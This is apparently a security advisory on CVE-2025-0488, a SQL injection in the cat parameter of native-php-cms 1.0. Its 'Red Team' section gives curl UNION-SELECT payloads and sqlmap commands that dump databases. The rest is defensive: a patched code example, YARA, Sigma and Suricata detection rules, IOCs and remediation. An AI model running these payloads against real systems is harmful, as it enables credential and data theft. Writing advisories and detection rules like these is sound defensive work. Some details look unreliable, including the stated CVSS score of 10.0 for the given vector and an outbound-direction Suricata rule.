CVE-2025-0488

Executive Summary

CVE-2025-0488 is a critical SQL injection vulnerability discovered in the product_list.php file of Fanli2012 native-php-cms version 1.0. The vulnerability allows an unauthenticated remote attacker to manipulate the cat parameter, leading to arbitrary SQL command execution against the underlying database. This can result in full data exfiltration, credential theft, and potential lateral movement within the target environment. The exploit has been publicly disclosed, increasing the risk of widespread scanning and automated attacks. No official patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security authority.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this vulnerability a prime target for automated exploitation and ransomware groups.

Deep Dive & Mechanics

The vulnerability resides in the product_list.php script. The cat parameter is likely used to filter products by category. The application fails to sanitize or parameterize this user-supplied input before incorporating it into a SQL query. An attacker can inject SQL metacharacters (e.g., a single quote ') to break out of the intended query structure and execute arbitrary SQL commands.

Example vulnerable code pattern (conceptual):

$cat = $_GET['cat'];
$query = "SELECT * FROM products WHERE category = '$cat'";
$result = mysqli_query($conn, $query);

The attacker can supply a value like:

1' UNION SELECT username, password FROM users--

This would modify the query to:

SELECT * FROM products WHERE category = '1' UNION SELECT username, password FROM users--'

The -- comments out the rest of the original query, allowing the attacker to retrieve sensitive data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (native-php-cms 1.0):

// product_list.php
$cat = $_GET['cat'];
$sql = "SELECT * FROM products WHERE cat = '$cat'";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// product_list.php
$cat = intval($_GET['cat']); // Cast to integer if numeric
$sql = "SELECT * FROM products WHERE cat = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $cat);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses prepared statements with parameterized queries, which completely separates SQL logic from user data, rendering injection impossible. Alternatively, input validation (e.g., intval()) can be used if the parameter is expected to be numeric.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy native-php-cms 1.0 on a local web server (e.g., XAMPP, LAMP).
2. Ensure the product_list.php file is accessible.
3. Use a tool like sqlmap or manual injection.

Manual Exploitation:

# Test for injection
curl "http://target.com/product_list.php?cat=1'"
# If error or unexpected output, proceed with UNION-based injection
curl "http://target.com/product_list.php?cat=1' UNION SELECT 1,2,3,4-- -"
# Extract database version
curl "http://target.com/product_list.php?cat=1' UNION SELECT @@version,2,3,4-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/product_list.php?cat=1" --batch --dbs
sqlmap -u "http://target.com/product_list.php?cat=1" --batch -D <database> --tables
sqlmap -u "http://target.com/product_list.php?cat=1" --batch -D <database> -T <table> --dump

Blue Team (Defensive)

Detection & Response:

1. Monitor web server logs for suspicious cat parameter values containing SQL keywords (UNION, SELECT, --, ').
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement database activity monitoring to detect anomalous queries.
4. Isolate the web server from critical databases using network segmentation.

Honeypot Strategy:

• Deploy a decoy product_list.php that logs all cat parameter values and alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /product_list.php?cat= containing SQL metacharacters (', --, UNION, SELECT, 1=1).
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Modified product_list.php file (if attacker uploads a web shell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).
• Log IOCs:
  • Web server logs showing repeated 400 or 500 errors on product_list.php.
  • Database logs showing queries with UNION or OR 1=1 patterns.

Detection Engineering

YARA Rule

rule CVE_2025_0488_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0488 in native-php-cms"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0488"
    strings:
        $sqli_pattern1 = /cat=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /cat=.*\d+\s*['\"]\s*OR\s*['\"]\s*1\s*=\s*1/i
        $sqli_pattern3 = /cat=.*UNION\s+SELECT/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0488 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against native-php-cms product_list.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/product_list.php'
        cs-uri-query|contains: 
            - 'cat='
            - "'"
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0488 SQL Injection Attempt - native-php-cms product_list.php";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/product_list.php";
    http_uri;
    content:"cat=";
    http_uri;
    pcre:"/cat=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the web server from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Review and sanitize all user inputs in product_list.php and other PHP files.

Long-Term Fix:

• Rewrite the application using prepared statements or parameterized queries.
• Upgrade to a supported CMS or framework that follows secure coding practices.
• Conduct a full security audit of the codebase.

Workaround:

• If immediate code changes are not possible, disable the product_list.php endpoint or restrict access via .htaccess:

<Files "product_list.php">
    Require all denied
</Files>

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